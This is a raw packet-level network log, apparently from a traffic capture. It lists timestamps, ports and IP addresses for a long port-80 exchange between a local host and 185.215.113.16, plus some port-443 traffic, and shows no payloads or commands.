Dec 3, 2024 17:41:38.042932987 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.042987108 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.043912888 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.043925047 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.043970108 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.045273066 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.048428059 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.048492908 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.048747063 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.049523115 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.049582958 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.050434113 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.051063061 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.051074028 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.051124096 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.052145958 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.052773952 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.053062916 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.053493977 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.053504944 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.053549051 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.054951906 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.054963112 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.055006027 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.056196928 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.056207895 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.056252956 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.057766914 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.057784081 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.057832956 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.058854103 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.058866978 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.058922052 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.060260057 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.060271978 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.060322046 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.061547995 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.061559916 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.061614037 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.062830925 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.062876940 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.062931061 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.064351082 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.064363003 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.064414024 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.065757990 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.065769911 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.065815926 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.067326069 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.067337990 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.067408085 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.068747044 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.068758011 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.068806887 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.069928885 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.069940090 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.069991112 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.071305990 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.071340084 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.071420908 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.072381020 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.072390079 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.072444916 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.073764086 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.073776960 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.073837996 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.075213909 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.075226068 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.075289965 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.076699018 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.076725006 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.076782942 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.078249931 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.078274012 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.078284025 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.078337908 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.079834938 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.079845905 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.080679893 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.081367970 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.081382036 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.081823111 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.083096027 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.083106041 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.083159924 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.084136963 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.084146976 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.084163904 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.084202051 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.084213972 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.085608959 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.085623980 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.085695982 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.087095976 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.087107897 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.087162018 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.088677883 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.088689089 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.088752985 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.090133905 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.090146065 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.090213060 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.091548920 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.091563940 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.091612101 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.093013048 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.093033075 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.093043089 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.093106985 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.094495058 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.094510078 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.094558954 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.095988035 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.096003056 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.096055984 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.097451925 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.097477913 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.097531080 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.098970890 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.098985910 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.098999023 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.099036932 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.099060059 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.100497007 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.100507975 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.100574970 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.101942062 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.101953030 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.102004051 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.103442907 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.103454113 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.103508949 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.105077982 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.105089903 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.105149031 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.106410027 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.106420994 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.106436968 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.106475115 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.108006001 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.108022928 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.108073950 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.109358072 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.109375954 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.109431028 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.219343901 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.250109911 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.250444889 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.250628948 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.251127958 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.251770973 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.251867056 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.252427101 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.252439022 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.252578020 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.253829956 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.254441977 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.254488945 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.255177975 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.255199909 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.255327940 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.256567955 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.256582022 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.256622076 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.257823944 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.257834911 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.257884979 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.258805037 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.258815050 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.258855104 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.260162115 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.260179996 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.260227919 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.260907888 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.260921001 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.262203932 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.262218952 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.262254953 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.262285948 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.263551950 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.263564110 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.264385939 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.264887094 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.264898062 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.264940023 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.266367912 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.266380072 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.266422033 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.267556906 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.267568111 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.267683983 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.268953085 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.268970966 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.269016027 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.270232916 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.270245075 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.270288944 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.271580935 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.271593094 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.271639109 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.272950888 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.272964954 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.273010969 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.274322033 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.274333954 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.275737047 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.275752068 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.275790930 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.275818110 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.277323961 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.277335882 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.277760029 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.280267954 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.281965017 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.281976938 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.282021046 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.283503056 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.283524990 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.283535004 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.283550978 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.283577919 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.284694910 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.284704924 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.284746885 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.286137104 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.286149025 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.286272049 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.287659883 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.287671089 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.287760973 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.289130926 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.289144039 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.289529085 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.290571928 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.290584087 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.290602922 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.290649891 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.292265892 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.292279005 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.292325974 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.293550014 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.293562889 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.293601990 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.295016050 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.295027971 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.295090914 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.296602011 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.296614885 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.296641111 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.296653032 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.296679020 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.298021078 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.298033953 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.298084974 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.299513102 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.299525976 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.299587011 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.301000118 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.301018000 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.301055908 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.302692890 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.302722931 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.302767038 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.304011106 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.304023027 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.304040909 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.304094076 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.305507898 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.305520058 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.305684090 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.306958914 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.306972980 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.307014942 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.308439016 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.308453083 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.308489084 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.310132027 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.310151100 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.310168982 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.310178995 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.310225010 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.311512947 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.311527014 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.311661959 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.313301086 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.313318968 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.313365936 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.314711094 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.314727068 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.314845085 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.315850973 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.315876961 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.315943003 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.317315102 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.317348957 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.317359924 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.317419052 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.318866014 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.318878889 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.319040060 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.320312977 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.320323944 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.320369005 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.321795940 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.321806908 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.321825027 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.321854115 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.321877956 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.429107904 CET	443	49771	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:38.429954052 CET	49771	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:38.429980040 CET	443	49771	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:38.430442095 CET	49771	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:38.430448055 CET	443	49771	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:38.439897060 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.457052946 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.457359076 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.457492113 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.457603931 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.458198071 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.458832979 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.459038973 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.459498882 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.460202932 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.460213900 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.460254908 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.461637020 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.462188005 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.462889910 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.462960958 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.463056087 CET	443	49769	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:38.463124037 CET	443	49769	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:38.464083910 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.464153051 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.464154005 CET	49769	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:38.464417934 CET	49769	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:38.464435101 CET	443	49769	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:38.464443922 CET	49769	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:38.464448929 CET	443	49769	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:38.464806080 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.464823008 CET	80	49764	185.215.113.16	192.168.2.7
